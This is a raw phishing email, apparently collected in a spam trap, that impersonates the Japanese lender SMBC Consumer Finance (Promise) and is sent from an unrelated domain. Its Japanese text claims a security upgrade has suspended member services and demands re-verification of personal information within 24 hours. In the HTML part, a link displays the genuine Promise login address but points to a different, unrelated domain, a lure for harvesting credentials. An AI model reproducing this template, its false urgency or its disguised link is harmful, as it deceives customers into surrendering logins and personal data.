Return-Path: <smbc-Email.2brucep50M@costcojapan.jp>
Delivered-To: untroubl8492-bruce@untroubled.org
Received: (qmail 3073563 invoked from network); 26 Oct 2024 02:37:04 -0000
Received: from C20241025212859.local ([118.107.17.114])
  by vx0.untroubled.org ([45.63.65.23])
  with ESMTP via TCP; 26 Oct 2024 02:37:03 -0000
Received: from localhost (C20241025212859.local [IPv6:::1])
	by C20241025212859.local (Postfix) with ESMTP id 5F1A6515BC1
	for <bruce@untroubled.org>; Sat, 26 Oct 2024 02:36:27 +0000 (UTC)
Mime-Version: 1.0
Subject: =?UTF-8?q?SMBC=E3=83=97=E3=83=AD=E3=83=9F=E3=82=B9:_=E7=B7=8A=E6=80=A5?= =?UTF-8?q?=E3=81=AE=E3=81=94=E9=80=A3=E7=B5=A1=E3=80=82=E7=95=AA=E5=8F=B7?=
 =?UTF-8?q?=EF=BC=9ADS-93697750094?=
X-Originating-IP: [94.16.124.147]
List-Unsubscribe: <mailto:31274df1f800f0f0aaad@ae6370916366?subject=unsubscribe>
Errors-To: 81c89009b838fe-81f9682c3415b9a8@b70ab3a129.com
From: =?UTF-8?q?SMBC=E3=82=B3=E3=83=B3=E3=82=B7=E3=83=A5=E3=83=BC=E3=83=9E?= =?UTF-8?q?=E3=83=BC=E3=83=95=E3=82=A1=E3=82=A4=E3=83=8A=E3=83=B3=E3=82=B9?=
 =?UTF-8?q?=E6=A0=AA=E5=BC=8F=E4=BC=9A=E7=A4=BE?=
 <smbc-Email.2brucep50M@costcojapan.jp>
To: bruce@untroubled.org
MIME-Version: 1.0
Date: Sat, 26 Oct 2024 11:36:27 +0900
Message-ID: <2024102645399450503499@ge403.repica.jp>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Content-Type: multipart/alternative;
 boundary=31d580900a4d18beb11500f73192e5ab4243d64ae5372268a9e34ebebcb4
Content-Length: 18780

--31d580900a4d18beb11500f73192e5ab4243d64ae5372268a9e34ebebcb4
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8









 =20
 =20
   =20
     =20
       =20
       =20
         =20
           =20
             =20
             =20
               =20
                  =E2=80=8A


     =20
       =20
       =20
         =20
           =20
             =20
             =20
               =20
                 =20
                   =20
                   =20
                     =20
                       =20


                 =20
                   =20
                   =20
                     =20
                       =20
                       =20
                         =20
                         =20
                            =E2=80=8A=20
                           =20


                        =C2=A0


                        =C2=A0

=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=20
                  =E3=81=84=E3=81=A4=E3=82=82SMBC=E4=BF=A1=E7=94=A8=E4=BF=
=9D=E8=A8=BC=E3=82=92=E3=81=94=E5=88=A9=E7=94=A8=E3=81=84=E3=81=9F=E3=81=A0=
=E3=81=8D=E3=81=82=E3=82=8A=E3=81=8C=E3=81=A8=E3=81=86=E3=81=93=E3=81=96=E3=
=81=84=E3=81=BE=E3=81=99
     =20
       =20
       =20
         =20
           =20
             =20
             =20
               =20
                  =E5=BD=93=E7=A4=BE=E3=81=AF=E3=82=BB=E3=82=AD=E3=83=A5=E3=
=83=AA=E3=83=86=E3=82=A3=E3=82=B7=E3=82=B9=E3=83=86=E3=83=A0=E3=81=AE=E5=A4=
=A7=E5=B9=85=E3=81=AA=E3=82=A2=E3=83=83=E3=83=97=E3=82=B0=E3=83=AC=E3=83=BC=
=E3=83=89=E3=82=92=E5=AE=9F=E6=96=BD=E3=81=97=E3=81=A6=E3=81=84=E3=82=8B=E3=
=81=9F=E3=82=81=20
                  =E5=80=8B=E4=BA=BA=E6=83=85=E5=A0=B1=E3=81=AE=E5=86=8D=E8=
=AA=8D=E8=A8=BC=E3=81=8C=E5=AE=8C=E4=BA=86=E3=81=99=E3=82=8B=E3=81=BE=E3=81=
=A7=E3=80=81Web=E3=82=A2=E3=83=B3=E3=82=B5=E3=83=BC=E3=83=A1=E3=83=B3=E3=83=
=90=E3=83=BC=E3=81=AE=E3=82=B5=E3=83=BC=E3=83=93=E3=82=B9=E3=81=AF=20
                  =E3=81=99=E3=81=B9=E3=81=A6=E5=81=9C=E6=AD=A2=E3=81=95=E3=
=82=8C=E3=81=BE=E3=81=99=E3=80=82=20
                  =E6=9C=AC=E6=97=A5=E3=81=8B=E3=82=89=E3=80=81=E3=83=97=E3=
=83=AD=E3=83=9F=E3=82=B9=E3=82=AB=E3=83=BC=E3=83=89=E3=81=AE=E3=83=A6=E3=83=
=BC=E3=82=B6=E3=83=BC=E3=81=8C=E9=80=9A=E5=B8=B8=E4=BD=BF=E7=94=A8=E3=81=97=
=E3=81=9F=E3=81=84=E5=A0=B4=E5=90=88=E3=81=AF=E3=80=8124=E6=99=82=E9=96=93=
=20
                  =E4=BB=A5=E5=86=85=E3=81=AB=E4=BB=A5=E4=B8=8B=E3=81=AB=E5=
=80=8B=E4=BA=BA=E6=83=85=E5=A0=B1=E6=94=B9=E5=96=84=E8=AA=8D=E8=A8=BC=E3=82=
=92=E8=A1=8C=E3=81=86=E5=BF=85=E8=A6=81=E3=81=8C=E3=81=82=E3=82=8A=E3=81=BE=
=E3=81=99=E6=89=BF=E8=AA=8D=E5=BE=8C=E3=81=AE=E3=81=BF=E4=BD=BF=E7=94=A8=20
                  =E3=81=A7=E3=81=8D=E3=81=BE=E3=81=99=E3=80=82


                  =E4=BC=9A=E5=93=A1=E3=83=AD=E3=82=B0=E3=82=A4=E3=83=B3
https://cyber.promise.co.jp/Login=C2=A0=C2=A0=20
                 =20


                  =E3=81=94=E4=B8=8D=E4=BE=BF=E3=81=A8=E3=81=94=E5=BF=83=E9=
=85=8D=E3=82=92=E3=81=8A=E3=81=8B=E3=81=91=E3=81=97=E3=81=BE=E3=81=97=E3=81=
=A6=E8=AA=A0=E3=81=AB=E7=94=B3=E3=81=97=E8=A8=B3=E3=81=94=E3=81=96=E3=81=84=
=E3=81=BE=E3=81=9B=E3=82=93=E3=81=8C=E3=80=81=E4=BD=95=E3=81=A8=E3=81=9E=E3=
=81=94=E7=90=86=E8=A7=A3=E6=9C=8D=E3=82=8A=E3=81=9F=E3=81=8F=E3=81=8A=E9=A1=
=98=E3=81=84=E7=94=B3=E3=81=97=E3=81=82=E3=81=92=E3=81=BE=E3=81=99=E3=80=82




     =20
       =20
       =20
         =20
           =20
             =20
             =20
               =20
                  SMBC=E3=82=B3=E3=83=B3=E3=82=B7=E3=83=A5=E3=83=BC=E3=83=
=9E=E3=83=BC=E3=83=95=E3=82=A1=E3=82=A4=E3=83=8A=E3=83=B3=E3=82=B9=E6=A0=AA=
=E5=BC=8F=E4=BC=9A=E7=A4=BE=20

                  =E6=9D=B1=E4=BA=AC=E9=83=BD=E6=B1=9F=E6=9D=B1=E5=8C=BA=E8=
=B1=8A=E6=B4=B2=E4=BA=8C=E4=B8=81=E7=9B=AE2=E7=95=AA31=E5=8F=B7 SMBC=E8=B1=
=8A=E6=B4=B2=E3=83=93=E3=83=AB


                  Copyright SMBC Consumer Finance Co., Ltd.All rights=20
                  reserved.





--31d580900a4d18beb11500f73192e5ab4243d64ae5372268a9e34ebebcb4
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

<html>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML lang=3Den xmlns:v =3D "urn:schemas-microsoft-com:vml" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office"><HEAD><TITLE></TITLE>
<META content=3D"text/html; charset=3DUTF-8" http-equiv=3DContent-Type>
<META name=3Dviewport content=3D"width=3Ddevice-width, initial-scale=3D1.0"=
><!--[if mso]><xml><o:officedocumentsettings><o:pixelsperinch>96</o:pixelsp=
erinch><o:allowpng/></o:officedocumentsettings></xml><![endif]--><!--[if !m=
so]><!--><LINK=20
rel=3Dstylesheet type=3Dtext/css=20
href=3D"https://fonts.googleapis.com/css?family=3DOpen+Sans"><LINK rel=3Dst=
ylesheet=20
type=3Dtext/css href=3D"https://fonts.googleapis.com/css?family=3DLato"><LI=
NK=20
rel=3Dstylesheet type=3Dtext/css=20
href=3D"https://fonts.googleapis.com/css?family=3DRoboto"><!--<![endif]-->
<STYLE>
        * {
            box-sizing: border-box;
        }

        body {
            margin: 0;
            padding: 0;
        }

        a[x-apple-data-detectors] {
            color: inherit !important;
            text-decoration: inherit !important;
        }

        #MessageViewBody a {
            color: inherit;
            text-decoration: none;
        }

        p {
            line-height: inherit;
        }

        .desktop_hide,
        .desktop_hide table {
            mso-hide: all;
            display: none;
            max-height: 0px;
            overflow: hidden;
        }

        @media (max-width:700px) {
            .desktop_hide table.icons-inner {
                display: inline-block !important;
            }

            .icons-inner {
                text-align: center;
            }

            .icons-inner td {
                margin: 0 auto;
            }

            .row-content {
                width: 100% !important;
            }

            .mobile_hide {
                display: none;
            }

            .stack .column {
                width: 100%;
                display: block;
            }

            .mobile_hide {
                min-height: 0;
                max-height: 0;
                max-width: 0;
                overflow: hidden;
                font-size: 0px;
            }

            .desktop_hide,
            .desktop_hide table {
                display: table !important;
                max-height: none !important;
            }

            .reverse {
                display: table;
                width: 100%;
            }

            .reverse .column.last {
                display: table-header-group !important;
            }

            .row-4 td.column.last .border {
                padding-left: 0;
                padding-right: 0;
                border-top: 0;
                border-right: 0px;
                border-bottom: 0;
                border-left: 0;
            }
        }
    </STYLE>

<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<BODY=20
style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: =
0px; PADDING-RIGHT: 0px; BACKGROUND-COLOR: #fefeff; -webkit-text-size-adjus=
t: none; text-size-adjust: none">
<TABLE role=3Dpresentation class=3Dnl-container=20
style=3D"BACKGROUND-COLOR: #fefeff; mso-table-lspace: 0pt; mso-table-rspace=
: 0pt"=20
cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
  <TBODY>
  <TR>
    <TD>
      <TABLE role=3Dpresentation class=3D"row row-1"=20
      style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0pt" cellSpacing=3D=
0=20
      cellPadding=3D0 width=3D"100%" align=3Dcenter border=3D0>
        <TBODY>
        <TR>
          <TD>
            <TABLE role=3Dpresentation class=3D"row-content stack"=20
            style=3D"WIDTH: 680px; COLOR: #000000; BACKGROUND-COLOR: #fffff=
f; mso-table-lspace: 0pt; mso-table-rspace: 0pt"=20
            cellSpacing=3D0 cellPadding=3D0 width=3D680 align=3Dcenter bord=
er=3D0>
              <TBODY>
              <TR>
                <TD class=3D"column column-1"=20
                style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; V=
ERTICAL-ALIGN: top; BORDER-BOTTOM-WIDTH: 0px; FONT-WEIGHT: 400; PADDING-BOT=
TOM: 0px; TEXT-ALIGN: left; PADDING-TOP: 0px; BORDER-TOP-WIDTH: 0px; mso-ta=
ble-lspace: 0pt; mso-table-rspace: 0pt"=20
                width=3D"100%">
                  <DIV class=3Dspacer_block=20
                  style=3D"FONT-SIZE: 1px; HEIGHT: 10px; LINE-HEIGHT: 10px"=
>=E2=80=8A</DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE role=3Dpresentation class=3D"row row-2"=20
      style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0pt" cellSpacing=3D=
0=20
      cellPadding=3D0 width=3D"100%" align=3Dcenter border=3D0>
        <TBODY>
        <TR>
          <TD>
            <TABLE role=3Dpresentation class=3D"row-content stack"=20
            style=3D"WIDTH: 680px; COLOR: #000000; mso-table-lspace: 0pt; m=
so-table-rspace: 0pt"=20
            cellSpacing=3D0 cellPadding=3D0 width=3D680 align=3Dcenter bord=
er=3D0>
              <TBODY>
              <TR>
                <TD class=3D"column column-1"=20
                style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; V=
ERTICAL-ALIGN: top; BORDER-BOTTOM-WIDTH: 0px; FONT-WEIGHT: 400; PADDING-BOT=
TOM: 5px; TEXT-ALIGN: left; PADDING-TOP: 5px; BORDER-TOP-WIDTH: 0px; mso-ta=
ble-lspace: 0pt; mso-table-rspace: 0pt"=20
                width=3D"100%">
                  <TABLE role=3Dpresentation class=3D"image_block block-1"=
=20
                  style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0pt"=20
                  cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0=
>
                    <TBODY>
                    <TR>
                      <TD class=3Dpad=20
                      style=3D"WIDTH: 100%; PADDING-LEFT: 0px; PADDING-RIGH=
T: 0px">
                        <DIV class=3Dalignment style=3D"LINE-HEIGHT: 10px"=
=20
                        align=3Dcenter><IMG style=3D"HEIGHT: 42px; WIDTH: 2=
34px"=20
                        alt=3Dco_service_logo_JE=20
                        src=3D"https://cyber.promise.co.jp/assets/images/co=
_service_logo_JE.png"=20
                        width=3D428 height=3D71></DIV></TD></TR></TBODY></T=
ABLE>
                  <TABLE role=3Dpresentation class=3D"divider_block block-2=
"=20
                  style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0pt"=20
                  cellSpacing=3D0 cellPadding=3D10 width=3D"100%" border=3D=
0>
                    <TBODY>
                    <TR>
                      <TD class=3Dpad>
                        <DIV class=3Dalignment align=3Dcenter>
                        <TABLE role=3Dpresentation=20
                        style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0=
pt"=20
                        cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bord=
er=3D0>
                          <TBODY>
                          <TR>
                            <TD class=3Ddivider_inner=20
                            style=3D"FONT-SIZE: 1px; BORDER-TOP: #bbbbbb 1p=
x solid; LINE-HEIGHT: 1px"><SPAN>=E2=80=8A</SPAN>=20
                            </TD></TR></TBODY></TABLE></DIV>
                        <P>&nbsp;</P>
                        <P>&nbsp;</P></TD></TR></TBODY></TABLE><STRONG>&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;=20
                  </STRONG><SPAN=20
                  style=3D"FONT-SIZE: 14px; FONT-FAMILY: Helvetica, Arial, =
sans-serif; WHITE-SPACE: pre-wrap; WORD-SPACING: 0px; TEXT-TRANSFORM: none;=
 FLOAT: none; FONT-WEIGHT: 400; COLOR: rgb(102,102,102); FONT-STYLE: normal=
; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETT=
ER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 28px; =
font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=
oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =
initial; text-decoration-color: initial"><STRONG><FONT=20
                  color=3D#000000 size=3D3=20
                  face=3D"Times New Roman">=E3=81=84=E3=81=A4=E3=82=82SMBC=
=E4=BF=A1=E7=94=A8=E4=BF=9D=E8=A8=BC=E3=82=92=E3=81=94=E5=88=A9=E7=94=A8=E3=
=81=84=E3=81=9F=E3=81=A0=E3=81=8D=E3=81=82=E3=82=8A=E3=81=8C=E3=81=A8=E3=81=
=86=E3=81=93=E3=81=96=E3=81=84=E3=81=BE=E3=81=99</FONT></STRONG></SPAN></TD=
></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE role=3Dpresentation class=3D"row row-3"=20
      style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0pt" cellSpacing=3D=
0=20
      cellPadding=3D0 width=3D"100%" align=3Dcenter border=3D0>
        <TBODY>
        <TR>
          <TD>
            <TABLE role=3Dpresentation class=3D"row-content stack"=20
            style=3D"WIDTH: 680px; COLOR: #000000; mso-table-lspace: 0pt; m=
so-table-rspace: 0pt"=20
            cellSpacing=3D0 cellPadding=3D0 width=3D680 align=3Dcenter bord=
er=3D0>
              <TBODY>
              <TR>
                <TD class=3D"column column-1"=20
                style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; V=
ERTICAL-ALIGN: top; BORDER-BOTTOM-WIDTH: 0px; FONT-WEIGHT: 400; PADDING-BOT=
TOM: 5px; TEXT-ALIGN: left; PADDING-TOP: 5px; BORDER-TOP-WIDTH: 0px; mso-ta=
ble-lspace: 0pt; mso-table-rspace: 0pt"=20
                width=3D"100%">
                  <DIV=20
                  style=3D"FONT-FAMILY: Arial, sans-serif; PADDING-BOTTOM: =
20px; TEXT-ALIGN: left; PADDING-TOP: 20px; PADDING-LEFT: 20px; LINE-HEIGHT:=
 1.5; PADDING-RIGHT: 20px"><SPAN=20
                  class=3Dhljs-string>=E5=BD=93=E7=A4=BE=E3=81=AF=E3=82=BB=
=E3=82=AD=E3=83=A5=E3=83=AA=E3=83=86=E3=82=A3=E3=82=B7=E3=82=B9=E3=83=86=E3=
=83=A0=E3=81=AE=E5=A4=A7=E5=B9=85=E3=81=AA=E3=82=A2=E3=83=83=E3=83=97=E3=82=
=B0=E3=83=AC=E3=83=BC=E3=83=89=E3=82=92=E5=AE=9F=E6=96=BD=E3=81=97=E3=81=A6=
=E3=81=84=E3=82=8B=E3=81=9F=E3=82=81</SPAN>=20
                  <SPAN=20
                  class=3Dhljs-string>=E5=80=8B=E4=BA=BA=E6=83=85=E5=A0=B1=
=E3=81=AE=E5=86=8D=E8=AA=8D=E8=A8=BC=E3=81=8C=E5=AE=8C=E4=BA=86=E3=81=99=E3=
=82=8B=E3=81=BE=E3=81=A7=E3=80=81Web=E3=82=A2=E3=83=B3=E3=82=B5=E3=83=BC=E3=
=83=A1=E3=83=B3=E3=83=90=E3=83=BC=E3=81=AE=E3=82=B5=E3=83=BC=E3=83=93=E3=82=
=B9=E3=81=AF</SPAN>=20
                  <SPAN class=3Dhljs-string>=E3=81=99=E3=81=B9=E3=81=A6=E5=
=81=9C=E6=AD=A2=E3=81=95=E3=82=8C=E3=81=BE=E3=81=99=E3=80=82</SPAN>=20
                  <P><SPAN=20
                  class=3Dhljs-string>=E6=9C=AC=E6=97=A5=E3=81=8B=E3=82=89=
=E3=80=81=E3=83=97=E3=83=AD=E3=83=9F=E3=82=B9=E3=82=AB=E3=83=BC=E3=83=89=E3=
=81=AE=E3=83=A6=E3=83=BC=E3=82=B6=E3=83=BC=E3=81=8C=E9=80=9A=E5=B8=B8=E4=BD=
=BF=E7=94=A8=E3=81=97=E3=81=9F=E3=81=84=E5=A0=B4=E5=90=88=E3=81=AF=E3=80=81=
24=E6=99=82=E9=96=93</SPAN>=20
                  <SPAN class=3Dhljs-string>=E4=BB=A5=E5=86=85=E3=81=AB=E4=
=BB=A5=E4=B8=8B=E3=81=AB=E5=80=8B=E4=BA=BA=E6=83=85=E5=A0=B1=E6=94=B9=E5=96=
=84=E8=AA=8D=E8=A8=BC=E3=82=92=E8=A1=8C=E3=81=86=E5=BF=85=E8=A6=81=E3=81=8C=
=E3=81=82=E3=82=8A=E3=81=BE=E3=81=99=E6=89=BF=E8=AA=8D=E5=BE=8C=E3=81=AE=E3=
=81=BF=E4=BD=BF=E7=94=A8</SPAN>=20
                  <SPAN class=3Dhljs-string>=E3=81=A7=E3=81=8D=E3=81=BE=E3=
=81=99=E3=80=82</SPAN></P>
                  <P><SPAN=20
                  class=3Dhljs-string><STRONG>=E4=BC=9A=E5=93=A1=E3=83=AD=
=E3=82=B0=E3=82=A4=E3=83=B3</STRONG></SPAN><BR><A=20
                  style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FA=
MILY: Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANS=
FORM: none; FONT-WEIGHT: 400; FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LE=
TTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px;=
 font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-st=
roke-width: 0px"=20
                  href=3D"https://xgjiaqi.com/CPA01X">https://cyber.promise=
.co.jp/Login</A><SPAN=20
                  style=3D"FONT-SIZE: 15px; FONT-FAMILY: Arial, sans-serif;=
 WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none;=
 FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOW=
S: 2; DISPLAY: inline !important; LETTER-SPACING: normal; BACKGROUND-COLOR:=
 rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-v=
ariant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickn=
ess: initial; text-decoration-style: initial; text-decoration-color: initia=
l">&nbsp;&nbsp;=20
                  </SPAN></P>
                  <P>=E3=81=94=E4=B8=8D=E4=BE=BF=E3=81=A8=E3=81=94=E5=BF=83=
=E9=85=8D=E3=82=92=E3=81=8A=E3=81=8B=E3=81=91=E3=81=97=E3=81=BE=E3=81=97=E3=
=81=A6=E8=AA=A0=E3=81=AB=E7=94=B3=E3=81=97=E8=A8=B3=E3=81=94=E3=81=96=E3=81=
=84=E3=81=BE=E3=81=9B=E3=82=93=E3=81=8C=E3=80=81=E4=BD=95=E3=81=A8=E3=81=9E=
=E3=81=94=E7=90=86=E8=A7=A3=E6=9C=8D=E3=82=8A=E3=81=9F=E3=81=8F=E3=81=8A=E9=
=A1=98=E3=81=84=E7=94=B3=E3=81=97=E3=81=82=E3=81=92=E3=81=BE=E3=81=99=E3=80=
=82</P></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE role=3Dpresentation class=3D"row row-4"=20
      style=3D"mso-table-lspace: 0pt; mso-table-rspace: 0pt" cellSpacing=3D=
0=20
      cellPadding=3D0 width=3D"100%" align=3Dcenter border=3D0>
        <TBODY>
        <TR>
          <TD>
            <TABLE role=3Dpresentation class=3D"row-content stack"=20
            style=3D"WIDTH: 680px; COLOR: #000000; BACKGROUND-COLOR: #fffff=
f; mso-table-lspace: 0pt; mso-table-rspace: 0pt"=20
            cellSpacing=3D0 cellPadding=3D0 width=3D680 align=3Dcenter bord=
er=3D0>
              <TBODY>
              <TR>
                <TD class=3D"column column-1"=20
                style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; V=
ERTICAL-ALIGN: top; BORDER-BOTTOM-WIDTH: 0px; FONT-WEIGHT: 400; PADDING-BOT=
TOM: 20px; TEXT-ALIGN: left; PADDING-TOP: 20px; BORDER-TOP-WIDTH: 0px; mso-=
table-lspace: 0pt; mso-table-rspace: 0pt"=20
                width=3D"100%">
                  <DIV=20
                  style=3D"FONT-FAMILY: Arial, sans-serif; PADDING-BOTTOM: =
20px; TEXT-ALIGN: center; PADDING-TOP: 20px; PADDING-LEFT: 20px; PADDING-RI=
GHT: 20px">SMBC=E3=82=B3=E3=83=B3=E3=82=B7=E3=83=A5=E3=83=BC=E3=83=9E=E3=83=
=BC=E3=83=95=E3=82=A1=E3=82=A4=E3=83=8A=E3=83=B3=E3=82=B9=E6=A0=AA=E5=BC=8F=
=E4=BC=9A=E7=A4=BE=20

                  <P><SPAN class=3Dhljs-string>=E6=9D=B1=E4=BA=AC=E9=83=BD=
=E6=B1=9F=E6=9D=B1=E5=8C=BA=E8=B1=8A=E6=B4=B2=E4=BA=8C=E4=B8=81=E7=9B=AE2=
=E7=95=AA31=E5=8F=B7</SPAN> <SPAN=20
                  class=3Dhljs-string>SMBC=E8=B1=8A=E6=B4=B2=E3=83=93=E3=83=
=AB</SPAN></P>
                  <P>Copyright SMBC Consumer Finance Co., Ltd.All rights=20
                  reserved.</P></DIV></TD></TR></TBODY></TABLE></TD></TR></=
TBODY></TABLE></TD></TR></TBODY></TABLE></BODY></HTML>
</html>
--31d580900a4d18beb11500f73192e5ab4243d64ae5372268a9e34ebebcb4--
